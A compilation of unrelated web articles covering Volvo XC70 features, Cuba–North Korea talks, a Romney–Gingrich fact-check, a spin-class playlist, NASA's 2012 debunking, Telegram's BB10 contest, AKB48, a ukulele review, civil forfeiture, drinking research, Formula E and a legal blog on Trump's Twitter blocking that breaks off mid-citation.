Hydraulic Brake Assist (HBA), a new generation of Volvo’s emergency braking support system that utilizes both vacuum and hydraulic reinforcement to help the driver brake in the shortest possible distance in a panic situation; Optimized Hydraulic Brakes (OHB) to reinforce deceleration under hard braking by compensating for low vacuum pressure in the brake servo; Ready Alert Brakes (RAB) that can predict rapid braking and apply the brake pads against the discs even before the driver has time to press the brake pedal; and Fading Brake Support (FBS) that utilizes hydraulics to gradually build up braking pressure during long hard braking, thus helping cut the risk of brake fade and maintaining pedal feel.  In order to contribute to the best possible visibility during night-time driving on curving and twisting roads, the all-new XC70 can be equipped with Active Bending lights (ABL) — swiveling headlights that follow the sweeps and bends of the road. A mini-processor is used to calculate and analyze a number of parameters and optimize the light beam to suit the situation. The headlights can be swiveled up to 15 degrees in either direction. In order to save wear and tear on the system, it is automatically deactivated in daylight conditions.  In an increasingly insecure world, control is important even when the vehicle is parked. As a matter of theft-prevention and avoiding situations that may involve personal risks, Volvo’s Personal Car Communicator (PCC) provides information aimed at security and safety. This advanced pocket-sized control center can tell the owner if the vehicle is locked or unlocked, and if the alarm has been triggered. In the case of the alarm having been triggered, PCC will indicate whether someone is inside the vehicle via a highly sensitive heartbeat sensor and an advanced calculation process.  Furthering security, the all-new XC70 can be specified with laminated glass in all the windows, including the rear side windows and the tailgate, making break-ins more difficult. This means that the luggage compartment also gets effective protection. The rear storage system under the luggage compartment floor has a capacity of more than 1.62 cubic feet (without spare wheel), and it is now lockable. It is locked automatically and conveniently when the tailgate is closed and locked.  The all-new XC70 packages both security and convenience with its optional power-operated tailgate. With the press a button on the remote control, complete access to the storage area occurs courtesy of the vehicle’s hydraulics. In order to reduce the risk of accidentally squashing one’s hands or fingers, it is closed from the panel on the tailgate itself. In addition, a dual-stage safety function is integrated into the tailgate, involving a pinch protection molding on each side and an emergency stop. The hydraulic system is equipped with a force sensor, stopping immediately if it senses an obstruction during operation.
-HAVANA (AFP) - Cuba, one of North Korea's few allies, called on Wednesday (Nov 23) for "peace and stability" in the Korean peninsula and stressed the need for dialogue to reduce tensions between Pyongyang and Washington.  Upon receiving his North Korean counterpart Ri Yong Ho in Havana, foreign affairs minister Bruno Rodriguez said Cuba is "in favour of peace and stability," adding that "only after dialogue and negotiations can a lasting political solution be achieved," according to Cuban media.  In the wake of President Donald Trump's declaration of North Korea as a state sponsor of terror on Monday, Rodriguez also rejected what he called the United States' "unilateral certifications and dictates" on North Korea - insisting they served as a basis for "the application of coercive measures contrary to international law."  Meanwhile, Ri blamed the "increased use of imperialist military force" for the worsening situation in the Korean peninsula, and stressed the importance of Cuba-North Korea relations as "two socialism-building countries."  His visit comes as Pyongyang and Washington continue to clash over North Korea's numerous ballistic missile and nuclear tests - while US-Cuba relations, re-established in 2015 after a 50-year stand-off, have also deteriorated under President Trump.  On Sept 23, Ri denounced Trump in a speech at the United Nations, and expressed "strong support and solidarity with the Cuban government and people." In May, President Raul Castro also expressed Cuba's solidarity with Pyongyang to visiting North Korean union leader Ju Yong Gil.
-“I’m standing next to a guy who is the most blatantly dishonest answers I can remember in any presidential race in — in my lifetime.... I don’t know how you debate a person with civility if they’re prepared to say things that are just plain factually false.”  — Newt Gingrich, Jan. 29, 2012  The slugfest between Mitt Romney and Newt Gingrich comes to a head Tuesday in Florida, where Gingrich is running behind because of a deluge of negative campaign ads by Romney and his allies and the perception that Romney bested him in the last two debates.  It’s tough to keep up with the various charges the two men have thrown at each other — Gingrich even brought up an ancient Romney veto concerning kosher food on Monday — so here is a guide to their most recent and most frequent claims.  (In addition to various columns on attack ads and charges, we previously looked at some of Romney’s claims about Gingrich when the battlefront had first moved to Florida.)  “His experience as speaker of the House end[ed] so badly, with an ethics scandal and him having to resign in disgrace and with his own members, 88 percent of them Republican members, voting to reprimand him.”  — Romney, Jan. 30, 2012  Here, the former Massachusetts governor echoes one of his TV ads, which we have already labeled as misleading. Gingrich was reprimanded, but he did not resign until two years later for reasons that had nothing to do with the reprimand he received from the House over an ethics issue. That issue involved whether it was proper for a tax-exempt foundation associated with the speaker to finance a college course that he had put together.  Instead, Gingrich resigned because House Republicans unexpectedly lost seats during the 1998 midterm elections. The Romney campaign sent us a few news clips making reference to the ethics probe when Gingrich resigned but neither The Washington Post article nor the New York Times article on his resignation made any mention of it.  In fact, as our colleague Karen Tumulty noted, shortly after Gingrich’s resignation, “the Internal Revenue Service — having conducted its own investigation--determined that there was nothing illegal about the arrangement. The IRS concluded that the course was indeed “educational in content” (as opposed to political), and that the Progress and Freedom Foundation’s support for it was “consistent with its stated exempt purposes.”  “We nominated a moderate for president in 1996 and he lost, badly. We nominated a moderate for president in 2008 and he lost, badly. If we nominate a Massachusetts liberal, I don't see how he defends 'Romneycare' as being different from 'Obamacare.' I don't see how he defends his gun control as being different, his pro-abortion position as being different, or for that matter his tax increases being different.”  — Gingrich, Jan. 30, 2012  Gingrich, after weeks of calling Romney a “Massachusetts moderate,” now calls him a “Massachusetts liberal.” But Romney is no John Kerry, Michael Dukakis or Ted Kennedy. He ran as a relatively moderate Republican when he sought Kennedy’s Senate seat and won the governorship, but since then has staked out more conservative positions.  Here Gingrich is echoing some of the points made in a humorous cartoon ad, imagining a debate between Romney and President Obama, produced by the pro-Gingrich super PAC, Winning Our Future. We previously awarded One Pinocchio to that ad. As we noted, Romney’s positions on abortion and gun control are now different, but Gingrich, particularly in this statement, suggests they have not changed.  The reference to tax increases references another Winning the Future cartoon ad, in which the imaginary Obama congratulates Romney for disguising tax increases with phrases such as loopholes and fees. That charge is accurate. We have previously given Romney One Pinocchio for claiming he did not raise taxes as governor.  “Romney as governor eliminated kosher food from retired Jewish senior citizens on Medicaid and he has no understanding of the importance of conscience and importance of religious liberty in this country.”  — Gingrich, Jan. 30, 2012  The Hill amusingly said that in the primary’s waning hours, Gingrich threw the “kosher kitchen sink” at Romney. While we are not sure what this claim says about Romney’s understanding of religious liberty, it turns out that in 2003 he did indeed veto $600,000 in spending to run Massachusetts’s eight kosher nursing home facilities.  Romney’s campaign said he was practicing fiscal restraint in a time of fiscal crisis, but his veto was quickly overridden by an unanimous vote in the House and an overwhelming vote in the state Senate after tales emerged of people in their 80s and 90s faced with having to leave their homes or break kosher tenets for the first time in their lives. The New York Post resurrected this story in an article last week.  (About our rating scale)  Check out our candidate Pinocchio Tracker  Follow the Fact Checker on Twitter and friend us on Facebook .  Track each presidential candidate's campaign ads .
-Spin Class Remixes to Pay tribute to Our Beloved Musicians who died in 2016  Indoor Cycling without music?  Impossible.  These artist are our heart beat. The literal soul of the class. They reach out and touch Riders in diverse, indelible ways. This year we lost so many! These larger-than-life rockers, pop stars -poets! Without them we are nothing. So I feel it fitting to pay a little tribute to some of them.  I am sure I missed many! I started to make a one our playlist and when I looked up I had 90 min. So you have lots to choose from to make your theme class. The first 60 min is mine... the last 30 min in the playlist is a bonus... for those extra long classes!  So Here we go down Memory lane one last time! All of the following remixes are from the originals that were made, produced or written by: David Bowie, Glenn Frey (Eagles), Maurice White (Earth, Wind & Fire), George Martin (Beatles), Merle Haggard, Prince, Thomas Fekete (Surfers Blood), Christina Grimme, Pete Burns (Dead or Alive), Bobby Vee, Leonard Cohen, Muhammad Ali and George Michael.  ​Muhammad Ali MY HERO - The Greatest  The first song on the playlist is a little warmup I like. It was a tribute made by RTE. It's personal. Its Ali. In terms of a playlist I like to build in the odd motivational speech ... and I think this man had someting to say. Enjoy him in his own words:  "Last night I had a dream,  When I got to Africa,  I had one hell of a rumble.  I had to beat Tarzan’s behind first,  For claiming to be King of the Jungle.  For this fight, I’ve wrestled with alligators,  I’ve tussled with a whale.  I done handcuffed lightning  And throw thunder in jail.  You know I’m bad.just last week, I murdered a rock,  Injured a stone, Hospitalized a brick.  I’m so mean, I make medicine sick.  I’m so fast, man,I can run through a hurricane and don't get wet.  When George Foreman meets me,He’ll pay his debt.I can drown the drink of water, and kill a dead tree.  Wait till you see Muhammad Ali."  ​  INDOOR CYCLING MUSIC ESSENTIALs: “ARTISTS WE’VE LOST IN 2016 TRIBUTE MIX”  ​
-By now, we've all heard the silly rumor that the world is going to end on December 21, 2012. A few different causes are "threatening" to strip us of our mortal coils: the Mayans got lazy and stopped adding days to their calendar is a popular rumor, the risk of a mysterious planet named Nibiru colliding with our own world is another.  Will this winter solstice really be our last? According to the top minds at NASA, these Earth-death rumors have about as much substance as that viral privacy hoax you've seen spreading on Facebook this week. That is to say, none at all.  "Contrary to some of the common beliefs out there, Dec. 21, 2012 won't be the end of the world as we know it, however, it will be another winter solstice," writes NASA in a Google+ post.  To dispel these end-of-the-world rumors, NASA is hosting a Google Hangout today with a cadre of top scientists in relevant fields, including astrobiology and astronomy. (Sadly, John Cusack will not be attending). Among the panelists:  David Morrison, astrobiologist from NASA's Ames Research Center  Don Yeomans, asteroid scientist from NASA's Jet Propulsion Laboratory  Mitzi Adams, solar/archaeoastronomer from NASA's Marshall Space Flight Center  Lika Guhathakurta, heliophysicist from NASA Headquarters  Paul Hertz, astrophysicist from NASA Headquarters  Andrew Fraknoi, science educator from Foothill College in Los Altos Hills, Calif.  The NASA brain trust is gathering online at 2 p.m. ET on Wednesday afternoon. Got a question for them? Ask via the Hangout, Twitter with the hashtag #askNASA or on the Google+ and Facebook threads NASA will have open for the event.  For more on NASA's debunking of the world-ending myths, check out NASA.gov/2012. The Hangout can be accessed on Google+.  Image courtesy of iStockphoto, sdecoret
-Our contest to create a Telegram app for BB 10 is over.  As a result of the contest, 6 promising apps are now available for download in BB World. Please note that we cannot recommend any of these apps to our users the way we usually do with other Telegram products, as each of them requires a significant number of improvements. However, progress has been made since December, so today we are honoring the six winners.  Two developers won the first prize, $10,000 each. Another four developers won the second prize, $5,000 each.  First prizes  The first $10,000 goes to Sourabh Kapoor – the only participant to fully implement the design specified in our contest announcement. His app Unofficial IM App for Telegram provides all of the required functions, however, as a ported app, it lacks speed and its interface isn't quite responsive.  Another $10,000 goes to Marat Yakupov. His app Bomogram is the best attempt to create a fully native app for BB 10 from scratch. Bomogram is fast and smooth, but lacks functionality – all you can do with it is view your chats and send text messages. However, since Bomogram is a native BB app, it could become the most promising project submitted during the contest, should Marat decide to develop it further.  Second prizes  The first $5,000 goes to Marco Gallo and his experimental app Pintagram. Pintagram is basically a ported version of the official browser app at web.telegram.org. But the app is stable, good-looking and has all the functionality of the Web version. Great idea reusing the web app!  Another $5,000 goes to Gan Theng Hwee for developing DianBao for Telegram. This is a port of the official QT-based Telegram Desktop, it runs smoothly and is relatively fast. The app has all the functionality of Telegram Desktop, but in many cases (such as viewing photos, etc.) lacks adaptation for mobile screens. Still, it was definitely a smart move to build on top of QT and Telegram Desktop, so congratulations!  The third $5,000 is awarded to Petar Šegina, the creator of yet another native app, Teletonne. By the time our contest ended, Teletonne was less stable and functional than Bomogram (you could only view messages, not send them), but it is a great attempt at creating a native BB app nevertheless. If improved, it could catch up!  And the last but not least winner to get a $5,000 prize is Adrian Sacchi, who also built a native BB10 app, Telegrann. Just like in the case of other native apps submitted during these two short months, the functionality of Telegrann is limited (you can only view messages), but we always value the hard work invested into studying our API and building a smoother native experience, and think that this approach provides a proper foundation to build on.  Future prizes  Congratulations to all of the winners! Here’s an additional bounty for you: we will distribute another $10,000 between the developers who make the most progress by May 1, 2015. So good luck with further development!  If you are a BB10 user wondering which of these apps to use right now, we can only suggest to check out the contestants and judge for yourself. If you want an experience that would guarantee maximum security and stability, we would still advise to run the official Telegram app for Android on your BB10 at this point.  February 10, 2015  The Telegram Team
-Details have been released on AKB48‘s upcoming 50th single 11-gatsu no Anklet. This release is a big deal for fans, as it will serve as the graduation single for last remaining original “Kami7” member Mayu Wantanabe.  The single will have 10 different versions in total, 5 regular editions and 5 limited edition versions. Limited edition versions of the single will include an event ticket and voting card for “AKB48 Group Request Hour Set List Best 100 2018”. Regular versions of the single come with a random photo along with a voting card.  Wantanabe’s graduation song Sayonara wa owaru wake janai will be included on every version of the single, while 5 additional b-sides will be included on the various different versions of the single. This includes a song by STU48 titled Omoidasete Yokatta , and a song by Team8 titled Ikirukoto ni Nekkyo wo!  Type C versions of the single will feature a song by a completely new unit, however details on the song and unit name have not been revealed yet. Short version MVs of both 11-gatsu no Anklet and Sayonara wa owaru wake janai have been uploaded on AKB48’s official YouTube account.  The girls take a somewhat “artsy” approach in this MV. Donned in high-end designer clothes, the video starts with Wantanabe sitting in an empty room with her hands in her face. She begins to dance around the empty room and paint things with a “magical brush”. The next scene involves three members sleeping in a giant box located on the beach. After waking up they decide to dance on the beach and use mini rainbows as hula-hoops.  Sayonara wa owaru wake janai is a dramatic ballad that will surly cause some tears to fall at Wantanabe’s graduation concert.  11-gatsu no Anklet will be released nationwide in Japan on November 22nd, 2017.
-Review time, and a ukulele brand that is completely new to me in Aiersi. This musical instrument came winging its way to me on loan all the way from China and I have been enjoying it for a month or two. The SU-044T model.  UKULELE PROS  UKULELE CONS  UKULELE SCORES  OVERALL UKULELE SCORE - 8.5 out of 10  Despite the 'T' in the name, this is actually a concert scale ukulele, made in China and with some rather nice features. It's actually what I would call a 'budget' ukulele on account of the price point (about $150 or so), but there are some nice surprises with this one as you will see.The ukulele is traditionally double bout shaped and benefits from a solid spruce top that is really quite a nice piece of wood. The grain is uniform and looking at the edge of the sound hole, the wood is not too thick. It's finished in a satin coat and decorated with inlaid abalone edge binding and sound holerosette. I'm not a huge fan of spruce tops on ukuleles myself as I think they can look a bit anaemic, but that is just me.Elsewhere on the top we have a very standard looking tie bar bridge with plastic saddle, not much to say about that. I will say though, there are no flaws on the top that I can see.The back and sides contrast the pale top very nicely and are made of laminate zebra wood. This too is finished in satin, but the pores of the zebra wood show through the coat giving it a more organic feel to some of the other overly glossy or overly coated instruments that are around at this price. The back is slightly arched and also has cream edge binding where it meets the sides. I think the contrast is great and am a fan of this wood finish on ukuleles.A look inside the instrument shows a tidy build with notched kerfing and braces that are not over done. There is no mess and the brand logo inside is engraved on a piece of wood. No complaints here really.The neck is fairly standard in width and profile and is made from an unspecified hardwood. It's made of three pieces with a joint at the heel and one at the headstock. It too is satin coated, but it feels natural and isn't sticky in the hands.Topping the neck is a rosewood fingerboard with a very nice even colour and one that appears to be in good condition. The edges are unbound and stained meaning you can see the fret edges. We have 18 nickel silver frets in total with 14 to the body. They are all dressed well, with no sharp edges and they are quite low profile which I like. Position markers are facing outward in mother of pearly, but sadly there are no side markers. A fairly unremarkable neck, but one that I really don't have many complaints about either.Past the plastic nut we have a fairly generic headstock shape, spruced up by a veneer of the stripy zebra wood on the face. The Aiersi logo is engraved in the wood which I rather like.Tuners are unbranded silver geared tuners, but they are functional and not overly large. They work well enough.Completing the deal is a rather gaudy bright gig bag which aside from the looks, is pretty decent quality with good zips and straps. Strings are Aquila SuperNylguts.All in all then, a rather nice looking and nicely made instrument for a superb price. I really like what is starting to come over from China. Years back the majority of instruments from over there left a lot to be desired with thick woods, thick finishes and generally bad builds. Of course some of those still exist, but there are more and more who seem to be getting it right. I think this one fits that category.I must admit though, when I saw the price I WAS expecting a couple of things - either a bad build or that it would be over built and heavy (killing the tone).First of all, it's not over built. It's not heavy to hold and you can see that the woods are not over done. It's nicely balanced and the finish is thin such that it feels nice in the hands without being over bearing. Construction too seems to be decent, with intonation close to spot on and nothing out of place or splitting and failing.The sound surprised me actually. It's not a high end instrument tone, but it doesn't pretend to be, but the usual problems with instruments of this sort of price are really not there. First of all, it is not lacking volume. Sure, it's not the loudest I have played, but it's certainly no slouch. It projects well to my ears.It's also got a chime to the tone, probably helped by the spruce top, but reminiscent to me of what I felt about the Moselele Bambookulele instruments the first time I played them (similarly priced too). If anything I find it a little too bright and think it would benefit from a touch more bottom end, but it's not offensive in any way and very 'ukulele' sounding. It's not going to win awards for delicate clarity of tone and dynamic range, but it does what it does competently enough and I quite liked it.The constructions doesn't seem to be affecting the tone or accuracy in any way and I think it stands out as a good choice for an absolute beginner wanting something that beats the usual cheap badly made stuff on the market. I'd certainly take this over an overly finished brightly coloured acrylic coated monstrosity or a ukulele billed as 'solid' but made from thick woods - ANY day.So, sound wise and construction wise, for the price I am finding this to be quite a safe bet.My main gripe though - I don't think they are easy to find and certainly are not yet in the main dealers I recommend. Yes they can be found on eBay or Amazon sellers shops, but that leaves me with a dilemma because I don't like to recommend those places for buying. Saying all that, the price is an absolute steal, so might be worth a shot?Be sure to read all my other ukulele reviews here PriceGeneral build qualityNice gig bagNo side fret markersNot sure where to buy them reliablyLooks - 8.5 out of 10Fit and Finish - 8.5 out of 10Sound - 8 out of 10Value for money - 9 out of 10UKULELE VIDEO REVIEW
-MERCER COUNTY -- Hamilton Police at the end of last year were vexed by a spate of graffiti tagging that blighted various spots throughout town, causing thousands in damage, authorities said.  When officers finally caught up with a pair of teens responsible, they didn’t just charge them with a crime. They also seized their car, determining that it was used in the commission of a felony and making it a prime target for a growing law enforcement practice called “Civil Forfeiture.”  “The point of using forfeiture is that it’s a law enforcement tool for deterrence," Sean D. McMurtry, head of the Prosecutor’s Office Forfeiture Unit, said in an interview last week. “We’re not out to make money on this.’’  Once used mainly to take cash made from illegal drug sales from busted dealers, the practice is getting wider play in police departments across the country, including in Mercer County, where car seizures alone have risen 38 percent since 2007.  McMurtry is an expert on the topic and was the featured speaker in a law enforcement training video made three years ago for Garden State Continuing Legal Education, a Lawrence-based law enforcement training company.  “One of the first things I did was try and spread the gospel that you can use forfeiture as a crime fighting tool and a good deterrent in all kinds of crimes,” McMurtry, explains on the video.  The 1990 Buick Park Avenue taken from the Hamilton teens was one of 230 cars seized in Mercer County last year. In 2007, there were 88 cars seized, according to annual reports of the Mercer County Prosecutor’s Office.  Under New Jersey’s civil forfeiture law, property can be taken by law enforcement if police determine that it was used in the commission of a crime – such as in the Hamilton case – or if it was purchased with the proceeds of a crime. But most disturbing to critics and civil libertarians, the move to take property sometimes can be done without criminal charges being filed.  “In fact, we don’t even have to have to charge anyone at all,” McMurtry said on the training video.  McMurtry detailed a case where a “high-end’’ car was seized from someone based on a hunch that it was bought with money from illegal drug sales. Without ever filing a criminal charge, police seized the car and McMurtry filed a civil suit alleging the car was bought in the process of laundering drug money, an indictable offense.  “We took a vehicle that we knew was purchased from the proceeds of criminal activity, through drug money,’’ McMurtry said on the video. “The way that the transaction to buy that car, this high-end car, was structured, to me, constituted money laundering.’’  The seizure was upheld in court. The car was forfeited. No criminal complaint was ever brought.  “So we did win on that,’’ McMurtry said on the video.  McMurtry said that the money laundering charge is the most useful charges to bring in a civil forfeiture action. He explains using another scenario:  “If a State Trooper pulls over a car, which is found to have a large amount of cash in it, but no one in the car will say where the money came from or where they were going with it, that’s where the money laundering statute comes in,” he said on the video. “We allege money laundering, which is an indictable offense, and we can go after the money that way.’’  Often, the action will never be contested.  “If they really want to fight this they have to answer interrogatories and go through depositions,” he said. “And they don’t want to do that.’’  That’s part of the problem, critics say.  “The laws are very pro-state,’’ said Trenton-based defense attorney John Hartmann. “It’s very difficult to win at these things.’’  Under civil forfeiture laws, the state merely has to allege an indictable offense and its up to the property owner to prove innocence. The burden of proof is also lower. In criminal court, prosecutors have to prove guilt beyond a reasonable doubt. In civil cases, the state only has to prove a preponderance of evidence.  “Prosecutors can file these things on a mere allegation,’’ said Scott Bullock, attorney with the Institute for Justice, a Virginia-based nonprofit working against civil forfeiture laws. “The burden on the government is very little. They don’t need to have any solid evidence of any wrongdoing.’’  And, unlike criminal proceedings, the defendant is not guaranteed a lawyer if they cannot afford one. Any representation has to be paid for by the accused, which is why so many of the cases are settled out of court, Bullock said.  “Most property owners are forced into settling knowing to it’s going to take a long time to get property back, and they can pretty quickly exceed value of the property just to settle a case,’’ he said.  The majority of Mercer County car seizure cases are settled before they reach a courtroom. Of the 230 cars seized last year, 60 were actually forfeited. County government took several and others were given to municipal police departments for use as undercover vehicles, according to the office’s annual report.  The Buick used by the teenage spray-painters, for instance, was not among those McMurtry went after in court. The mother of one of the teens called him, and the two struck a deal to get the car back: $500 plus the towing and storage costs, he said.  “That’s a gift,’’ Hartmann said. “I’ve found that the prosecutor is very reasonable most of the time. He could have kept the car under the law.’’  While cars and cash are the biggest draw in Mercer County’s forfeiture effort, a wide range of items also have been seized in the past five years.  Computers, cell phones and jewelry are among the items taken by police in various arrests, according to a review of quarterly reports from the Prosecutor’s office.  Other items include “Asian-style folding partitions” and a sofa that were taken from a 2012 prostitution bust. A “thematic dictionary” was taken in another prostitution arrest later that year. Other items include an “X Box’’ system, a nail gun and a compressor.  Flat-screen TVs are a frequent item in the seizure reports. When forfeited, they are given to the police departments that seized them for use in 911 call centers or as video monitors, McMurtry said.  “Every flat screen we’ve taken has been put to use in a police headquarters or in a training room,’’ McMurtry said.  The property that is not used by law enforcement is sold at a public auction. The money is then split between the police department where the property was seized and the Mercer County Prosecutor’s Office, McMurtry said.  Last year, the county made $440,832.53 from the sale of seized property, giving $234,604.57 to local municipalities, according to the annual reports.  Bullock calls this the ‘profit motive’ for budget-strapped law enforcement agencies fueling the rise of forfeiture use.  “If the concern is about the fair and impartial administration of justice, you don’t need the profit incentive behind it,’’ Bullock said. “That’s the reason behind some of the abuses we’re seeing.’’  McMurtry said the money helps offset the cost of training or equipment for police departments in the county, but by law it cannot pay salaries or be used in a general fund.  For instance, forfeiture money bought 600 kits of the heroin overdose antidote naloxone, better known by the trade name Narcan, which were distributed to all police departments in the county in October, McMurtry said.  McMurtry has repeatedly denied that profit is behind the use of civil forfeiture, saying the driving force is crime deterrence.  “No department is getting a windfall from forfeiture,’’ he said.  Hartmann acknowledged that the Mercer County Prosecutor's Office is “just going by the law.”  But for Bullock, the law is the problem.  “It’s just not a power that should exist in America,’’ he said.  Keith Brown may be reached at kbrown@njtimes.com. Follow him on Twitter @KBrownTrenton. Find The Times of Trenton on Facebook.
-The health benefits of moderate drinking are likely overstated, say Canadian researchers who reviewed 87 long-term studies on alcohol and death rates.  Studies have reported health benefits from moderate drinking such as healthier hearts and longer life.  Tim Stockwell of the University of Victoria's Centre for Addictions Research in British Columbia has taken another look at published studies on alcohol and mortality on nearly four million people, including more than 367,000 deaths.  Moderate drinking was defined as no more than two standard alcoholic drinks per day for men or one standard drink a day for women, at least once a week, for any kind of alcohol.  The review in the March issue of the Journal of Studies of Alcohol and Drugs expands on his work on classifying abstainers. A problem arises when grouping those who abstain with former drinkers who quit or substantially cut back as their health worsened. The health and life expectancy of surviving moderate drinkers ends up looking better in comparison.  "We should drink alcohol for pleasure," Stockwell said in an interview. "But if you think it's for your health, you're deluding yourself."  The review concluded a "skeptical position is warranted" when it comes to alcohol's net health benefits. Researchers often did a poor job of asking about alcohol use and accounting for other protective factors among drinkers, such as wealth and eating more fruits and vegetables, Stockwell said.  When the quality of studies was considered, the risk was higher from each level of drinking.  Jurgen Rehm of the Centre for Addiction and Mental Health in Toronto knows how difficult it is to study abstinence. He's observed a disconnect among survey respondents who report never in their lives having drunk alcohol but who previously said they were prior or current drinkers.  There's substantial public interest in whether light drinking is protective or harmful, as well as commercial implications, Rehm said in a journal commentary published with the review.  Rehm called the message of health benefits from light alcohol consumption "exaggerated."  "In my view, nobody has to start drinking for health reasons," Rehm said. "Those who drink lightly, if they stick almost religiously to one drink per day, no real problem. I would not advise them to stop."  The research was funded by the U.S. National Institutes of Health.
-Share Pinterest  Email  Daniil Kvyat could revive his motorsport career in Formula E.  After a tumultuous couple of years, Kvyat, a 23-year-old Russian, lost his Formula 1 ride not only at Toro Rosso, but in the entire Red Bull program. Kvyat has made 72 starts in Formula 1. He has zero wins and just two podium finishes.  Formula E could be his next destination. The all-electric racing series is now regarded as a viable alternative to F1 for drivers, manufacturers and sponsors.  Several former F1 drivers, including Jean-Eric Vergne, Sebastien Buemi, Kamui Kobayashi, Nelson Piquet Jr., Andre Lotterer, Lucas di Grassi, Jerome d'Ambrosio and Nick Heidfeld all race in Formula E now.  Recent Williams F1 retiree Felipe Massa is expected to follow soon, and the Russian news agency Tass reports that Kvyat is another potential Formula E driver of the future.  Tass says Kvyat has "held talks with at least two teams" and could take part in test drives in January.
-[Update, May 23, 2018: As I predicted almost a year ago, before the lawsuit was even filed, Trump’s twitter feed is indeed a public forum. A federal district court just denied his motion to dismiss. I haven’t read it in full yet, but I’ll update this post when I’ve had a chance.]  [Update, June 6, 2017: A week after I wrote the below, the Knight Institute wrote a letter to President Trump arguing the same. Eugene Volokh says there’s a “private capacity” argument. I addressed that below, the same way the Davison court ruled on it. Moreover, just today Press Secretary Sean Spicer admitted the tweets are “official statements by the President of the United States.” Also, Charles Ornstein has a good summary of other elected officials blocking constituents, and litigation over it.]  While in the White House, Donald Trump’s personal twitter timeline, @realDonaldTrump, remains a key method by which he communicates with the public. He uses it to conduct foreign policy, to urge specific action by Congress, to promote certain media articles, and, of course, to persuade the public on key issues, including with implied references to classified government information. And, critically for our purposes here, he allows the public, the media, and other elected representatives to post tens of thousands of comments in response to each tweet:  As Danny Sullivan pointed out, President Trump has recently become more aggressive in blocking people on Twitter, and so Sullivan has created a list of blocked users. Sullivan wonders if this creates a First Amendment issue, noting,  When Trump blocks, he doesn’t just impact himself. He blocks some Americans from speaking in arguably the most important forum, his tweets.  For our purposes here, I’ll refer to @realDonaldTrump’s tweets as “tweets,” and the responses to them as “replies,” so we don’t get confused. When @realDonaldTrump “blocks” someone on Twitter, they can no longer read his tweets or reply to them. That is in contrast to “muting,” which removes the person’s replies from @realDonaldTrump’s view but leaves them up for other users.  So, are President Trump’s tweets a public forum? If so, does that place limits on when President Trump can block users from replying?  I believe the answers are “yes” and “yes.” Because President Trump uses @realDonaldTrump for official business, and because President Trump allows (arguably, invites) replies on his tweets, he has made his Twitter timeline into a limited public forum. As such, the First Amendment applies. He can potentially impose content restrictions, but he can’t impose viewpoint restrictions.  Here’s why.  For years, legal scholars have wondered about how the First Amendment applies to government-sponsored social media accounts. For example, see this 2011 article on “Government Sponsored Social Media and Public Forum Doctrine Under the First Amendment: Perils and Pitfalls.”  The basic concepts of a “limited public forum” are well-settled in the Supreme Court:  It is axiomatic that the government may not regulate speech based on its substantive content or the message it conveys. Other principles follow from this precept. In the realm of private speech or expression, government regulation may not favor one speaker over another. Discrimination against speech because of its message is presumed to be unconstitutional. These rules informed our determination that the government offends the First Amendment when it imposes financial burdens on certain speakers based on the content of their expression. When the government targets not subject matter, but particular views taken by speakers on a subject, the violation of the First Amendment is all the more blatant. Viewpoint discrimination is thus an egregious form of content discrimination. The government must abstain from regulating speech when the specific motivating ideology or the opinion or perspective of the speaker is the rationale for the restriction. These principles provide the framework forbidding the State to exercise viewpoint discrimination, even when the limited public forum is one of its own creation. In a case involving a school district’s provision of school facilities for private uses, we declared that there is no question that the District, like the private owner of property, may legally preserve the property under its control for the use to which it is dedicated. The necessities of confining a forum to the limited and legitimate purposes for which it was created may justify the State in reserving it for certain groups or for the discussion of certain topics. Once it has opened a limited forum, however, the State must respect the lawful boundaries it has itself set. The State may not exclude speech where its distinction is not reasonable in light of the purpose served by the forum, nor may it discriminate against speech on the basis of its viewpoint. Thus, in determining whether the State is acting to preserve the limits of the forum it has created so that the exclusion of a class of speech is legitimate, we have observed a distinction between, on the one hand, content discrimination, which may be permissible if it preserves the purposes of that limited forum, and, on the other hand, viewpoint discrimination, which is presumed impermissible when directed against speech otherwise within the forum’s limitations.  Rosenberger v. Rector & Visitors of Univ. of Virginia, 515 U.S. 819, 828–30, 115 S. Ct. 2510, 2516–17, 132 L. Ed. 2d 700 (1995)(emphasis added, citations and quotations omitted). Rosenberger involved the use of student activities funds at state universities. As the Supreme Court recognized, “The [fund] is a forum more in a metaphysical than in a spatial or geographic sense, but the same principles are applicable.” Id. at 830.  So, what about the “metaphysical” forum of social media?  For starters, the Supreme Court has been quite clear that online speech is worthy of the same level of protection as other speech. See Reno v. ACLU, 521 U.S. 844, 870, 117 S.Ct. 2329, 138 L.Ed.2d 874 (1997); see also Ashcroft v. ACLU, 542 U.S. 656, 124 S.Ct. 2783, 159 L.Ed.2d 690 (2004). The federal appellate courts, too, have recognized that the use of social media can constitute expressive speech. Below is a passage from the Fourth Circuit; it might seem tiresome to read a lengthy discussion of the “like” button on Facebook, but that detailed analysis is critical to understanding how even minimal use of social media can be the exercise of free speech.  Here, Carter visited the Jim Adams’s campaign Facebook page (the “Campaign Page”), which was named “Jim Adams for Hampton Sheriff,” and he clicked the “like” button on the Campaign Page. When he did so, the Campaign Page’s name and a photo of Adams—which an Adams campaign representative had selected as the Page’s icon—were added to Carter’s profile, which all Facebook users could view. On Carter’s profile, the Campaign Page name served as a link to the Campaign Page. Carter’s clicking on the “like” button also caused an announcement that Carter liked the Campaign Page to appear in the news feeds of Carter’s friends. And it caused Carter’s name and his profile photo to be added to the Campaign Page’s “People [Who] Like This” list. Once one understands the nature of what Carter did by liking the Campaign Page, it becomes apparent that his conduct qualifies as speech. On the most basic level, clicking on the “like” button literally causes to be published the statement that the User “likes” something, which is itself a substantive statement. In the context of a political campaign’s Facebook page, the meaning that the user approves of the candidacy whose page is being liked is unmistakable. That a user may use a single mouse click to produce that message that he likes the page instead of typing the same message with several individual key strokes is of no constitutional significance. Aside from the fact that liking the Campaign Page constituted pure speech, it also was symbolic expression. The distribution of the universally understood “thumbs up” symbol in association with Adams’s campaign page, like the actual text that liking the page produced, conveyed that Carter supported Adams’s candidacy. See Spence v. Washington, 418 U.S. 405, 410–11, 94 S.Ct. 2727, 41 L.Ed.2d 842 (1974) (per curiam) (holding that person engaged in expressive conduct when there was “[a]n intent to convey a particularized message …, and in the surrounding circumstances the likelihood was great that the message would be understood by those who viewed it”); see also Tobey v. Jones, 706 F.3d 379, 388 n. 3 (4th Cir.2013). In sum, liking a political candidate’s campaign page communicates the user’s approval of the candidate and supports the campaign by associating the user with it. In this way, it is the Internet equivalent of displaying a political sign in one’s front yard, which the Supreme Court has held is substantive speech. See City of Ladue v. Gilleo, 512 U.S. 